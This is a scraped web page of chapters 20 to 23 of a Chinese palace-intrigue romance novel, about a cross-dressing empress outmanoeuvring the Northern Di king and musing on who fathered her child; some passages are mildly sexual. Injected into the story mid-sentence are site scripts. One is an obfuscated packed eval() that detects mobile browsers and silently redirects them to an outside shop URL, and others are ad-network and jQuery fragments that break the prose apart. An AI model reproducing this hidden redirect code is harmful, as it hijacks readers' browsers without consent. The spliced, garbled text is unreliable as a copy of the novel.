风声呼啸,他在低笑,极为兴奋的,仿佛又在一眼能望尽的无趣人生中找到了新的乐趣——一个够狠,带劲,令人无法轻易击溃的对手。 “新手段?” “有点意思。” 怀刃:“啊?” 看起来他知道想弄死他的那个人是谁。那个人也不是第一次想弄死他的样子。 他在这次刺杀中受了伤,本不该急行,不过他似乎对回京有极深的执念。 他向来意志力惊人,这点伤拖不垮他的脚步。不过两三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477594|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日就已行至成州。 他的眼睛受了些许轻伤,暂不能看清细小事物。 怀刃拿起十余张写得密密麻麻信纸:“需要我给您念?” 他点头。 怀刃清了清嗓子念道:“尚膳房王四上告,入春换季,陛下近日胃口不佳,饮食多为,酸杏、青李、醋鱼、酸梅汤、凉拌酸辣鸡丝……之类开胃的食物,喜食酸而不食油腻之物。” 这一堆酸不拉唧的东西念的怀刃嘴里起了好一阵口水。 “想不到陛下口味还挺特别的。” 怀刃继续念道:“御药局徐太医容秉,陛下自坠马后身体状况一直不佳,近期常服用补气益血的汤药。” 这道也算合情合理,有病吃药,看上去没什么问题。 “紫宸殿章嬷嬷说,自您离京后,陛下比从前懒怠些许,时常犯困小憩,实在没有一国之君的样子,国不可一日无您,您就是那天上月,引领着陛下,引领着大周,走向繁荣昌盛……” 此处省略马屁三百字。 “下面这张来自尚衣局陈女官,称陛下最近身量渐长,穿衣尺码比从前大了些许。” 这也无可厚非,谁还没有长胖的时候呢? 怀刃翻了翻剩下几张信纸,上面写的全是陛下,陛下,陛下…… “您知道这些东西做什么?” 对方没回答,只是让他:“继续念。” 怀刃应是,继续念了关于陛下在大殿接见各国来使时,应对自如,竭尽全力维护大周颜面,在百官心中声势威望渐长之事。 “您不在京中,陛下似乎如鱼得水,过得很是不错。” 怀刃如是总结道,紧接着打开另一张信纸。 “这张是沈相亲自写给您的。” “他言道,陛下不近女色,只好男风。前与少将军相约同饮酒共赏月,后又当着臣的面承认喜欢言书监,游走在各色男子之间,游刃有余。君上不必忧心陛下会生出几个阻碍您登顶的小皇子。” 怀刃边读边点头认可:“沈相所言极是,君上无需担心……” 说话间怀刃抬头看了眼窗前之人,语调一顿,试探着问:“我还要继续念吗?” 20. 第 20 章 午后艳阳下,太液池水波光粼粼,立于池中央的中心亭内静得出奇。 北狄王远远看着赵锦繁手上那几封信。 信封上赫然写着“大周陛下亲启”几个字,这几个字化成灰他也认识是谁写的。 北狄王脸色沉凝:“陛下给本王看这些做什么?” 赵锦繁笑了笑,一双上扬的精致凤眼盯着北狄王打转,答道:“因为……我敬佩王上啊。” 北狄王微眯起眼:“敬佩我?” 赵锦繁道:“北狄王萧衍,先王次子,生母为贱民白氏。” 在赵锦繁提到“贱民”二字时,萧衍眼中划过一闪而过的恨意。 “北狄尊卑等级分明,人分三六九等,贱民最次,千百年来,尊卑难以逾越,贱民的孩子永远是贱民,生而为奴,终身卑贱。” “你的母亲生下了你,被判犯有僭越之罪,处以绞刑而死。而你身为先王之子,却只能做王后儿子的陪从。” “你是整个王宫的异类,他们辱你血统不正,说你是个杂种,欺凌你,践踏你,要你屈服,要你自甘下贱,可你偏不。” 萧衍冷笑了声:“陛下知道的可真不少。” 赵锦繁不吝啬赞誉:“王上生于泥潭,忍辱负重,披荆斩棘,破土新生。古有越王勾践,今有北狄王萧衍,王上这样的枭雄人物,朕又岂能不知?” 北狄王萧衍,登上帝位的第一件事,便是尊他已故的生母白氏为王太后,重修其墓,建祭塔,使其受万人朝拜,受万家香火,让从前唾弃她,蔑视她的贵族统统匍匐于脚下。 “可惜啊……”赵锦繁语调一转道,“纵使王上登上了王位,人们心中固有的偏见却很难被打破。” 萧衍:“那又如何?” “别人越是不看好你,你越是想证明自己,于是你便盯上了大周这块肥肉。”赵锦繁目光沉了下来,“拿下从前那群血统高贵的北狄人无论如何也攻不下的大周,无疑是你的最优选。” 萧衍站在她身侧,眺望向宫墙外的群山,笑道:“是你大周国力不济,怪不了别人盯上。” “从前的大周便向被一众小山围绕的高峰,傲然于世,无他国敢于之比肩。可沧海桑田,此消彼长,如今我北狄已不是你大周人眼里随意可欺压的蛮夷,而你大周也不再似从前般兴盛强大,早已是强弩之末。” “谁又能保证,数年之后,接受众国朝拜不会是我北狄呢?” 赵锦繁倚在中心亭边的栏杆上,斜眼看他:“是吗?” 萧衍冷哼一声:“你们大周人向来尊崇谦逊之道,本王的野心在你们看来是不安分,是大逆不道。” “不,恰恰相反。”赵锦繁道,“朕所欣赏的正是王上的这份野心。” “正如朕的仲父,从来不屑于掩饰自己野心,不惧人言,不畏艰险,因为足够强大,所以不屑。” “对朕而言,王上亦是一个不可轻视的对手。” 萧衍会心一笑,他承认在听到对手认可他时,内心止不住开始愉悦。尤其是当对方还是个令人赏心悦目的美男子时,这种感觉更甚。 可惜这种愉悦在下一瞬就被中止。 因为赵锦繁在这句话的后头添了一句:“如果朕前些日子没有收到那几封信的话。” 赵锦繁轻笑道:“你看出来了吧,那是你嫡出兄弟的字。” 萧衍不语。 赵锦繁继续道:“北狄王以一半贱民血统坐在王位之上,反对你的人不在少数,其中以王后之子萧衡为首的势力最为难缠。他虽难搞,你也不是吃素的,总算还能牵制住他。” “可你那嫡出兄弟如何肯终其一生都屈居你之下?” 赵锦繁拿着信在北狄王跟前晃了晃:“想知道你的兄弟都在里头写了什么吗?” 萧衍抬眼:“陛下何必再卖关子,不正是想让本王知道,才来此处赏景的吗?” 赵锦繁站在萧衍正对面,拆开信封,从中取出信纸。 “北狄王不似王后之子萧衡,自小习汉文读汉书,会的大周文字恐不深。那朕便替你念念这信上写了什么。” 说着她打开信纸,朗声念道:“大周陛下亲启,我乃北狄先王之子萧衡,今北狄孽障难除,倘若陛下助我除障,来日我登帝位,愿以诚报之。” “向大周进献宝马千匹,黄金万两,尊大周为万邦之首,绝不存半分僭越之心……” 她瞥了眼北狄王萧衍难看的脸色。 “啧啧啧,瞧瞧,你兄弟可比你识趣多了。” “你的兄弟本就难缠,若是再加上我大周的助力,王上你还能安稳坐在王位之上吗?” 萧衍扯了扯嘴角:“所以陛下告诉本王这些是为了?” 赵锦繁直言道:“朕是想着,既然要合作,那就跟能给我大周带来最大利益的人合作。” “你的兄弟不甘臣服于你,难道你就甘心被你兄弟踩在脚下?” “朕既可以给你兄弟助力,怎么就不能和你合作呢?” “就看谁出的条件更令朕满意了。” 萧衍低头沉默。 福贵站在赵锦繁身后,手心直冒冷汗,心跳到了嗓子眼。 他站的位置恰好能看清信纸上的内容。 那张信纸上空白一片,分明什么也没写。 什么陛下亲启,什么孽障难除,什么报之以诚,统统都是假的,全是现编捏造的。 陛下未免也太过大胆了,连北狄王这种野蛮人都敢骗。 这事若是被拆穿了,那后果不堪设想。 好在她撒谎的时候面不改色,和平日说真话的时候没什么两样。 赵锦繁将念完的信纸折了起来,重新装进信封,当着北狄王的面,将这几封“机要”信件收存了起来。 就在她来太液池之前,她先去了趟藏经阁找言怀真。 北狄王后之子萧衡,自幼研读大周经典,写的一手好汉字,藏经阁内收有他几副字帖。 那几副字帖中恰好能找到“大周陛下亲启”这几个字,她请言怀真仔细拓写在信封之上。 信上内容所需的字很难找全,不过只有这六个字也足够了。 她不需要北狄王全信她,只需要北狄王知道,他才是如今被动的那个人。 如果他们兄弟合作攻周,大周必将会有一番苦战。 可惜没有这个可能。 北狄王宁愿死,也不会跟曾经践踏过他的人和解。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 赵锦繁走到萧衍跟前:“怎么样北狄王?” 萧衍:“陛下以为呢?” 赵锦繁:“你的兄弟能力不如你,仅仅因为身上流着高贵的血,就备受推崇。” “如若朕是北狄王,必定心有不甘,管他什么血统不血统,什么嫡庶尊卑,王侯将相宁有种乎?” 萧衍哼笑了声:“陛下真是深谙我心。” 赵锦繁跟着笑了声:“不过,到底是选你还是你的兄弟,单看北狄王能拿出多少诚意来了。” 萧衍:“……” 这句话仿佛在告诉他,想赢吗?来求我啊。 赵锦繁抬头看了眼天色:“时候不早了,朕稍有些累了,先回殿养养神。王上且好好想想,一会儿晚宴再见。” 萧衍全无好脸色,远望着她的御辇离去。 * 赵锦繁回到紫宸殿后堂,江清早早来了殿里,等着给她请平安脉。 两人进了内室。 江清摸着她的脉,瞥她一眼:“您这脉搏跳得这么快,刚干完坏事紧张的吧?” “哪能呢?”赵锦繁无辜道,“我像是那种会干坏事的人吗?” 江清呵呵两声:“您长得倒不像,心却黑得很。” 闲扯了几句,话归正题。 赵锦繁指了指小腹,问道:“他在里头还好吗?” 江清仔细探过她的脉后道:“胎像安稳,他很好,您也很好。” 赵锦繁自方才起便紧绷在一起的眉眼柔和了下来:“那便好。” 江清起身检查她头部曾经受伤的部位,头上的伤倒是都已愈合,也并未留疤。 “您还是想不起来那位的事吗?” 那位指的是她肚里孩子的父亲。 赵锦繁:“只能想起一些。”在床上干的事。 可能是由于那个人活太好,让人十分难忘吧。 那些零零散散的记忆片段每一段都在提醒她,肚子里的孩子到底是怎么来的。 至于那三个可能是孩子父亲的男人—— 言怀真是明面上唯一知道她是女子的人,最有可能与她产生君臣之外的感情。 楚昂喜欢闻意可香的味道,且体力极好,这一点和那个男人极为符合。 沈谏身姿挺拔流畅,肩宽腰窄,与那个男人的身形极为肖似。 当然她也不是没想过,孩子的父亲是剩下那第四个人的可能性。 但这绝对不可能。 第一,如果她是信王,知道有人女扮男装坐在自己最想坐的帝位上,必定立刻马上拆穿她,实现自己的野心。 退一万步假设,信王为色所迷,轻易舍弃了自己的野心,这种没有坚持没有自我的男人,实在毫无吸引力,让人提不起任何兴趣,下不了嘴。 从种种迹象来看,信王显然不是一个色中饿鬼。 在她身处之地,朝堂上,皇城内,每时每刻都能感受到信王想要将她取而代之的蓬勃野心。 再者,信王不喜欢浓郁的香气,但那个男人喜欢得很,那晚亲她亲得不知有多…… 罢了,此处不宜多提。 另外,都喊他仲父了,必定年老色衰,一点也不合她的口味。 21. 第 21 章 入夜后,麟德殿内,灯火如昼。 赵锦繁在此设宴,款待诸位到京的外宾。 各国使臣依次落座,独独缺北狄使团迟迟未有列席。 高丽使臣看了眼旁边的空位:“这北狄王该不会不来了吧?这也太不给大周陛下面子了。” 东瀛使者清原白日在大殿上丢了脸面,记恨在心,道:“面子?那也要看给谁。现如今大周国力大不如前,而北狄势头正盛,论兵力北狄未必就比不上大周,照这种势头下去,北狄要超越大周也只是时日的问题。凭什么要像从前那般以大周为尊?” 说完他还朝一旁的乌连王投去寻求认同的眼神。 毕竟同是天涯沦落人,大家都被大周人欺负过,这种时候就应该团结起来,一起数落大周。 乌连王看见清原投来目光,莫名其妙:“看我做什么,他们来不来关本王何事?不来就赶紧把坐席搬走,大家坐得更松快些。” 清原:“……”大老粗。 宴会开始,丝竹管弦声起,舞姬甩袖起舞。 一片歌舞声中,北狄王携国师及使团众人姗姗来迟。 席间众人纷纷朝迟来的北狄使团看去。 “北狄王”因花粉不耐蒙着面不便言语。 北狄国师慕真,也就是真正的北狄王萧衍,代表其发言。 萧衍自使团中出列,以所有人都没想到的恭敬姿态朝坐在上首的赵锦繁,行了一礼。 坐在底下的高丽使臣扭头朝东瀛使臣清原道:“北狄人看上去挺给面子的,跟你说的不一样啊?” 清原:“……”这不可能啊! 不止清原这么想,坐在底下的诸位大周臣子心中也不免有此想法。 北狄人如何会真心臣服于大周? 其实北狄王萧衍也不想对大周做出这副窝囊的姿态。 但午后在太液池的那场博弈,他承认他输了。 他也不是傻子,自然想过那封信是真是假的问题。 可就算信是假的又如何? 他的兄弟萧衡没有找上眼前这位大周陛下,大周陛下就不能去找萧衡吗? 以萧衡的性情,若大周主动找上门,他简直求之不得。 这一路上,萧衡为了杀他,派了不少杀手。为避免被刺杀,谨慎起见,他才与国师慕真互换了身份。 他和萧衡都不觉得对方会错过和大周结盟的机会。 只要他和萧衡不能信任彼此,他们就只能陷入被大周选择的被动局面。 对眼下的他而言,只有向大周投诚一条路。 但他还不想让那位大周陛下高兴得太早。 于是此刻扮作北狄国师慕真的萧衍,在众目睽睽之下,向赵锦繁献上了两只锦盒。 两只锦盒分别由两名北狄使臣护送进殿。 赵锦繁看了眼由萧衍献上的锦盒,道:“国师这是何意?” 萧衍告诉她道:“这两只锦盒里一只装了王上对陛下最大的诚意,另一只则装了你们大周人最讨厌的东西。” “吾也不清楚哪只盒子里是好,哪只盒子是坏,只有护送锦盒进来的两名使者知道。” “这两名使者其中一名只说真话,另一位只说假话。陛下只能选择其中一名使者问一个问题。” “大周陛下智慧无双,定然知道哪只盒子里藏了好东西。” 赵锦繁:“……”来投诚还这么别扭。 宴席间众人见此议论纷纷。 高丽使臣看向清原:“这种考验人才智的事,以往不都是你东瀛干的吗?” 清原表示无奈。 他也很想!可是他来之前兄长千叮咛万嘱咐叫他不要再做自取其辱之事,安分守己为妙。 乌连王看向正在替自己倒酒的王后:“大周人最讨厌的东西是什么?” 王后摇摇头,表示自己不知。 至于大周众臣的重点则在于—— “北狄人刚才说什么?” “说咱们陛下智慧无双。” “嗯……” * 成州驿站。 怀刃向身旁之人一封接一封地念着从几百里外的京城寄回的信。 从陛下的衣食住行到近日诸国使团来京,事无巨细。 最后一封信,写的正是北狄使团在大宴上献诚一事。信的结尾只写到北狄人拿两只锦盒考陛下,却没写结果。 怀刃好奇地看向坐在一旁闭目养神之人:“咦,沈相怎么没写陛下选了什么?” 对方缓缓睁开眼睛,道:“因为不必浪费笔墨,也知道结果。” 怀刃对比武之外的事都不怎么精通,此刻正用求知的目光望着身旁人。 身旁人道:“此题算不上太难,蠢人解不开,一般人未必解得开,聪明人一眼就能破题。” “北狄人并非想用此题难倒赵锦繁,而是想用此题彻底揭开,这位多年来被叫做草包的陛下隐藏在皮下的真面目。” “想必是赵锦繁摆了北狄人一道,北狄人只能认栽,心里却不痛快,故意出了这题,想让她别再假惺惺装下去罢了。” 怀刃“哦”了声,这几句话信息量太多,他有些反应不过来,也没怎么思考,顺着他的话就问出了口:“那陛下该如何是好?” 看对方的神情,好像他问了一句废话。 半晌,他听见身旁人并不怎么高兴的声音。 “我都‘死’了,她还有装的必要?” * 事实也正如那位“死”去之人所预料的那般。 赵锦繁没有打算装傻充愣,她走上前,对着其中一位拿着锦盒的使臣问:“若是我问另一位拿着锦盒的使臣,他手里拿着的是“诚意”吗?你告诉我他会怎么回答?” 那位使臣立刻回答:“他会答‘是’。” 破题的思路很简单,假设这位使臣说的是真话,赵锦繁让说真话的使臣,回答对方会怎么答。 他回答的是说假话那位使臣的答案。 说假话的使臣给出的答案,自然是错的。 倘若赵锦繁问的那位使臣说的是假话,问他回答对方会怎么答。 他会把说真话那位使臣的答案反一反再说出来。 也就是说,他给的答案也是错的。 无论怎样,她问到的答案都是错的,选相反的就“对”了。 现在这位使臣说对方会答“是”,也就代表着对方盒子里装着的“不是”诚意,因此这位回答“是”的使臣,手上拿着的那只锦盒,才是真正装了北狄王诚意的盒子。 众人还没有完全反应过来,赵锦繁就轻松找到了那只装有北狄王“诚意”的锦盒。 席间众人愣愣地朝赵锦繁看去,尤其是在坐的众位大周臣子,就是再迟钝的人也看出来了。 她要真是个不中用的笨蛋草包怎么可能那么快破题? “方才北狄人说什么来着?” “说咱们陛下智慧无双。” “嗯……” 他说的对。 这时候不乏有几个会放马后炮的。 “我早就看出来了,能从储位之争里不缺胳膊不断腿,活着坐上皇位的能是一般人?” “诶你,上回明明是你说陛下傻人有傻福的!” “白日里陛下对着那群使臣雄辩滔滔,我就觉得不简单了。” 当然让他们惊讶的不仅仅是赵锦繁,还有北狄王的诚意。 那只锦盒里装着的是三份契书。 第一封契书上写北狄愿向大周进献宝马两千匹,黄金三万两,其余还有珠翠、矿石、布匹等物。 要知道当年大周与北狄议和,大周所赠予北狄的财物也只是这里的三分之一而已。 这份契书价值几何可想而知。 但更令人意外的是第二封契书。 北狄王承诺,二十年内只要他还是北狄的王上,就绝不犯大周一寸土地,并以大周为万邦之首敬之。 这封契书一出来,薛太傅激动得说不出话来。 在坐的大周臣子没有不因此雀跃万分的。 十余年前那份议和书写得模棱两可,多年来边关屡屡受北狄侵扰。且大周作为大国,主动承诺绝不对北狄先动手,这些年来眼睁睁看着百姓苦而不得解决之法。 究其根本是因大周国力日渐衰退,很多事情身不由己。 如今有了北狄人这一承诺,总算能安生些日子了。 大家本来是希望北狄王早死早超生的,现在只希望他至少再活二十年。 第 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 三封契书是一封解罪书。 赵锦繁确认过上面的内容后,仔细收了起来。 萧衍站在近处对赵锦繁道:“献上的诚意,大周陛下可还满意?” 赵锦繁回他:“尚算满意。” “接下来该怎么做,不用本王说陛下也该知道。” “这个自然。”赵锦繁道,“找个时间,朕会与王上好好谈谈接下来的事。” 这场宴会的发展着实出乎所有人的意料,宴散,各国使团纷纷离席。 薛太傅激动过后冷静下来,北狄人突然献诚,必定是要他大周付出代价的。他有些担忧地超赵锦繁看去:“陛下……” 赵锦繁给了他一个安抚的眼神,说道:“先生放心,学生是那种会做赔本买卖的人吗?” 薛太傅:“……” 那确实,谁被你盯上了不被扒一层皮下来! “还有件事臣不得不提醒您。”薛太傅道,“你今日在众臣面前大出风头,若是荀……” “先生是怕朕锋芒太露,摄政王回来后会对朕不利。” 对于此事,赵锦繁只是道:“先生放心,关于那位摄政王,过些日子兴许会有好消息传来。” 薛太傅不解:“什么好消息?” 赵锦繁心道,当然是他的死讯了。 * 宴后,乌连王同王后回了住处。 宴上多饮了几杯,乌连王借着酒劲,一把抱起美艳娇柔的王后,上榻一番驰骋。 云雨过后,夫妻夜话。 王后靠在乌连王渗着细汗的蜜色胸肌上,道:“大王从前总提起那位信王,说他是个有趣的人,妾倒是觉得还有一个人也不遑多让。” 乌连王牵着王后的纤细柔荑轻轻摩挲:“你是说……” 王后:“妾是指大周那位陛下。” 乌连王倒不否认:“先前的确是本王小看他了,能让北狄人低头,还算有点本事。” 王后掩唇笑了几声:“那位陛下的主意可不止打在北狄人身上,在您身上她也打了不少。” 乌连王:“哦?” 王后笑着从床旁的檀木柜中取出一只木盒递给乌连王。 “这是今早那位陛下派人送来给您的。” 乌连王好奇地打开盒子,看了眼里头装的东西。 “丝绸、茶叶、香料?” 王后:“这些都是产自大周的好货,大周与乌连不合长达百年,从前不通商贸,想要这些东西只能辗转从北狄人手中高价购得。” “北狄人从大周低价买入,却翻好几倍买给咱们乌连,这暴利可都让北狄人吃了。与其让北狄人在中间得好处,不如直接从大周交易。” 这几年乌连与大周之间关系逐渐缓和,乌连王也不是没想过要跟大周跟近一步,只是差一个契机。 互通商贸对乌连和大周彼此都有好处。 如今大周皇帝主动提及,乌连王自然也愿意顺水推舟。 不过…… 乌连王看了眼躺在怀里的王后:“你倒是愿意替大周皇帝吹枕边风。” “妾刚到大周,那位陛下就派人送来了京城顶好的胭脂和首饰。”王后娇笑几声,抬指戳了戳乌连王胸口,“他可比大王你懂女人心。” 乌连王醋意横生,轻哼了声,捉着王后的脚踝,拖进床帐,誓要让王后明白谁更懂她的心。 又是一番操劳过后,王后昏沉沉地靠在乌连王怀里,半梦半醒间,耳边传来乌连王疑惑的声音。 尽管事情已经过去很久,他仍在纠结。 “所以,大周人最讨厌的东西到底是什么?” 王后:“……” * 深夜,皇城的殿阁楼宇矗立在静谧月色之下,紫宸殿后堂,烛火通明,镂雕木窗敞着,吹进丝丝缕缕混着青草气息的清风。 赵锦繁坐在书案前,一手拨着算盘珠子,一手在宣纸上记录。 从北狄那坑来黄金三万两,还有宝石、黄金、矿石等,再加上与乌连互通商贸后,每年还能多进账一笔…… 算来算去,国库还是十分空虚。 她那早死的亲爹怎么就留了这么大一个窟窿让她填! 赵锦繁叹了口气。 上哪再去搞钱才好呢? 22. 第 22 章 大朝会前夕,赵锦繁与北狄王萧衍在含元殿立契。 北狄王萧衍承诺,二十年内只要他还是北狄的王上,就绝不犯大周一寸土地,并以大周为万邦之首敬之。 赵锦繁以大周国君的身份接受北狄的诚意,并允诺与北狄互为友邦,竭诚相交,绝不插手干预北狄内政。 原本赵锦繁是提出可以借兵给萧衍肃清内政的。 不过萧衍拒绝了。 他生来一身傲骨,自己的仇不需要他人插手,他北狄的家务事也轮不到别国来管。 赵锦繁自然尊重他的想法。 “你早就知道会这样了吧?”萧衍对赵锦繁道,“不费一兵一卒空手套白狼,你是本王平生见过最有意思的敌人。” 赵锦繁回道:“王上也是朕见过最有风度的对手。” 她之所以能这么顺利“空手套白狼”,究其根本是因为当下北狄和大周国力,谁也奈何不了谁罢了。 北狄虽日益强大,但还没有强到能无视大周的地步,大周虽日渐衰微,但尚有一搏之力。 萧衍手上拿着契书:“二十年,足够本王肃清内政,强国富兵,继续壮大北狄,届时你大周只会是我北狄的囊中之物。” “二十年后,我大周只会是你仰望的存在。不容人欺,不容人践踏。锦绣山河,国富民安,繁华盛世,万邦来朝,我会让他是这四海八方最好的国土。” 赵锦繁丝毫不在他跟前掩饰自己的野心。 萧衍与她对立而站,笑道:“若非立场不同,也许你我会是朋友。” 赵锦繁:“没有永远的敌人,二十年后的事尚且未知,现下北狄与大周既为友邦,你我就是朋友。” 萧衍不拘小节,应了声:“好。” 赵锦繁挑眉:“那么北狄王愿不愿意再帮你的朋友一个小忙。” 萧衍:“……”他就知道事情没这么简单,这家伙可真是满身心眼子,处处给人挖坑,现在断交还来得及吗? * 北狄在诸国大宴上献诚一事很快传遍了京城。 京城上下欢呼一片,百姓自发组织灯会庆典,连欢三日。朝廷解了宵禁,到了夜里,灯火如昼,人头攒动,吉庆的鼓声响彻京城街头。 赵锦繁站在城楼高处,自上而下远望,入目是万家灯火,脚下山河,浩荡辽阔,承载着千万人的期许,一眼望不见尽头。 庆典过后,皇城门前的布告栏上,贴出一张解罪书。 这张解罪书是北狄王进献给大周的第三封契书。 百姓们纷纷上前去看。 “这上头说的什么?” “说的是北狄现已查明,关于大周使者王盛在北狄犯有通奸罪一事,乃不实指责。” “王盛在出使北狄的十余年间,不辞辛劳,不畏艰苦,现使其荣归故里。” 百姓们唏嘘不已。 当初听闻北狄人在大殿上辱其有罪,谁不是义愤填膺,虽说陛下当场驳斥了北狄人,可细想起来犹觉心寒。 好好一位忠臣,为大国舍小家,半生风霜,结果落得如此下场。 若忠义之臣都是这种下场,往后还有几个人愿舍己报效国土? 如今使者王盛荣归故里,总算有了个好结果。 “你们看,这解罪书后还有一张告示。” “告示上写,陛下将在明日午时,亲自迎王盛回朝。” * 次日午时,百姓簇拥在长街前,看着王盛由北狄王及一众使臣亲自护送至皇城丹凤门前。 “北狄王亲自相送,可算是给足了脸面。” “谁说不是呢。” 礼部尚书张永得了赵锦繁允许,先一步来皇城门前见曾经的同僚。 张永看着王盛从北狄人的马车上下来。 先前在大殿上没仔细看,如今一瞧,从前意气风发的同僚,已是两鬓皆白。 张永眼眶微酸。 王盛先开了口:“你老了,张永,瞧瞧你脸上的皱纹。” 张永:“……”我还没嫌弃你呢! 王盛瞧见他一副吃瘪的表情,哈哈笑了起来,仿佛又回到了当年在礼部一起插科打诨的时光。 可是笑着笑着,眼睛就湿了。 他仔细整了整身上这身旧官袍,问张永:“帮我瞧瞧,我身上没脏的地方吧?” 张永告诉他:“没有,不脏,很干净。” “干净就好。”王盛手心握着破旧的平安符,那是他夫人临行前交给他的。 “我夫人说过,要干干净净去,干干净净回来。” 张永低头不再做声。 含元殿外,百官齐聚。连这几日称病不朝的沈谏和三年来极少露面的定国公也悉数到场。 王盛一步一步踏入广场,脑海里浮现昔年身为进士的自己身着绯红进士袍第一次进宫的画面。 眼前的一切似乎都未曾改变,宫城巍峨,殿宇高耸,又似乎全变了,王盛的眼睛朝高台之上望去。 高台之上,赵锦繁正等着他。 一切都会是新的开始。 从此以后,有她在的地方,忠义不再被辜负,尊严不再被践踏。 * 王盛回朝后,并未留在礼部任职,而是去藏经阁做了秘书丞。 他希望将这十余年自己在北狄的所见所闻都记录成册,同时对藏经阁内诸多典籍中对北狄的错误描述,进行校阅订正,以供后人参考。 张永虽遗憾不能再与他共事,但他心意已决,张永也不好再多劝什么。 “藏经阁清静,远离朝廷纷争,与你共事的言书监为人板正温和,不失为一个好去处。” 王盛在藏书阁呆了段时日,觉得张永所言果然不假。 言怀真是个正直端方的君子,就是行事有些古怪。 大下雨的,他柜子里明明放了把罗伞,他宁可自己冒雨,也不愿弄湿那把伞,实在有些本末倒置。 王盛听其他同僚提起过。 说言怀真曾经是大周史上最年轻的大理寺卿。年纪轻轻身居要职,原本前途无量,三年多前却因故辞任,兜兜转转留在了藏经阁任闲职。 这经历倒是与如今任百官之首的沈相刚好反了反。 沈谏最开始郁郁不得志,忽有一天开了窍,自此开始平步青云。 人之际遇真是各有不同。 * 诸国使团的事告一段落。 赵锦繁难得闲下心来,搬了长椅在庭院中,躺着吹吹风,顺便挼挼前几天抢来的兔子。 这群兔子挑剔得很,吃菜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不吃菜根只吃菜叶,吃草不吃老的只吃嫩的。 俗话说得好,兔随主人性,它们的前主人必定十分难搞。 春风骀荡,阳光和煦。兔子们窝在草坪上晒太阳。 庭院正中的梧桐树,亭亭如盖,绿意森森,微风轻轻一拂,枝叶沙沙细响,暖阳透过绿叶缝隙,洒下斑斓光影。 赵锦繁靠在长椅上,有些昏昏欲睡。自怀孕以来,她时常觉得困乏倦怠。 时隔几日,久违地梦见了孩子他爹。 关于他的记忆越来越清晰。 她似乎能看清一些他的样貌,比如从前他的手臂只是有形的黑影,现在逐渐能看清一些他手背青筋的纹路。 尤其是他抬手压制住她想要并拢的膝盖时。 “你在害羞吗?” 他的声音依旧很朦胧,让人分辨不清。 但很理所当然。 “不必害羞,所有地方我都看过亲过了。” 他是个很会积极探索的人,在她说不许再顶那个地方她会受不了之后,必须弄清楚到底是哪里。 “是这里吗?这里?还是这儿?哦,在这里。” 赵锦繁心里有一万句骂人的话要说,但他看上去很认真,并不像故意折腾人的样子。 仿佛个性使然,直白且纯粹。 而且他还十分注重公平。比如他细细吻完赵锦繁后,执着于得到回应:“换你亲我。” 赵锦繁照做,他还不满意。 “这样不够,我方才更用力。” “像这个样子,懂了吗?” “你再试一遍。” “不对,是这样。” “你再来。” 试了好几遍,直到她快呼吸不过来,他才勉强满意。 这次的记忆很绵长,一直进展到了结束以后。他搂她在怀意犹未尽,问她:“下次你喜欢怎样的?我可以学。” 赵锦繁:“……” 他还想要下次。 这种事有了第一次,再有第二次也很寻常。 他想跟她有以后。 赵锦繁没有再回应他。 她这样的身份,除非像她母妃那样,假死变换身份,成为另一个人,否则不可能成为别人的妻子。 赵锦繁就只会是赵锦繁,她不会因为任何人而放弃自己的姓名。 他很聪明,也很了解她,很快就明白了她的态度,松开了一直紧搂着她的手,起身穿好衣衫,推门离去,走得头也不回。 赵锦繁想他们之间这种特殊而微妙的关系,就这样结束也好。 但她未想到,没过多久,他又去而复返。 那天晚上有雨,他衣衫上的水珠滴滴答答落在青石地砖上,像她纷乱的心跳声。 他锁门,走近她跟前,打横抱起她。 "如果没有以后,那今晚就彻底尽兴。" 赵锦繁的长发垂落在他的肩膀上,怔怔地看着他。 良久她伸手圈住他的脖颈,在他耳边道:“如你所愿。” 赵锦繁想这大概会是她此生唯一一次放纵。 但…… 他们却有了无法剪断的,更深刻,更紧密的牵绊。 从记忆里缓过神来的赵锦繁,抬手抚上自己尚还平坦的小腹。 23. 第 23 章 那晚似乎事发突然,但那个人并非没做避护措施。 赵锦繁也不是毫无防备之心,次日一早那人离开后,她就立刻请如意代替因腿软而不便于行的自己,问江清拿了最烈的药。 甚至前阵子她还从马上摔了下来。 即便如此也没能阻止得了意外的种子在她腹中生根发芽。 赵锦繁回想了一下,言怀真、楚昂和沈谏三人对于那晚的不同态度。 言怀真一说起那晚的事,就一副羞于启齿的样子,还连连和她说对不起。 她和那个人的确做了不少令人羞于启齿的事,而且依言怀真的性子,做出以下犯上的越矩之事,必定心中有愧,会和她道歉,似乎也能说通。 不过言怀真应该不会说出“不必害羞,所有地方我都看过亲过了”这么赤//裸又直接的话。 赵锦繁皱眉。 难道真如江清分析得那样,表面越是正经的人,私底下越是如狼似虎? 再说楚昂,他的自尊心一直很强。 倘若那晚那个人是他,在明确他们不会有“以后”的情况下,她还要主动再去招惹他。 也无怪乎当时他会用一种极度羞愤的语气说出—— “你难道忘了自己对我做了什么吗?怎么还能当做无事发生一样邀我饮酒?” 至于沈谏。 她之前试探着问过沈谏,那晚他们切磋琴技都切磋了哪几曲? 沈谏的回答是,过去许久,他不记得了。 这个回答相当耐人寻味,因为沈谏是出了名过目不忘,记忆力极佳,哪怕是几年之前的事,他也未必不记得。 那晚的事才过了一个多月,何至于一点印象也没有? 显然沈谏刻意隐瞒了那晚所发生的事。 更何况他的琴技烂得同牛屎一般,人尽皆知。她做什么要和琴技如此之烂的人切磋琴技? 这不合乎情理。 假如那晚那个人是沈谏,清醒如他,在知道他们大概不会有“下次”之后,装作什么也没发生的样子,也不是不可能。 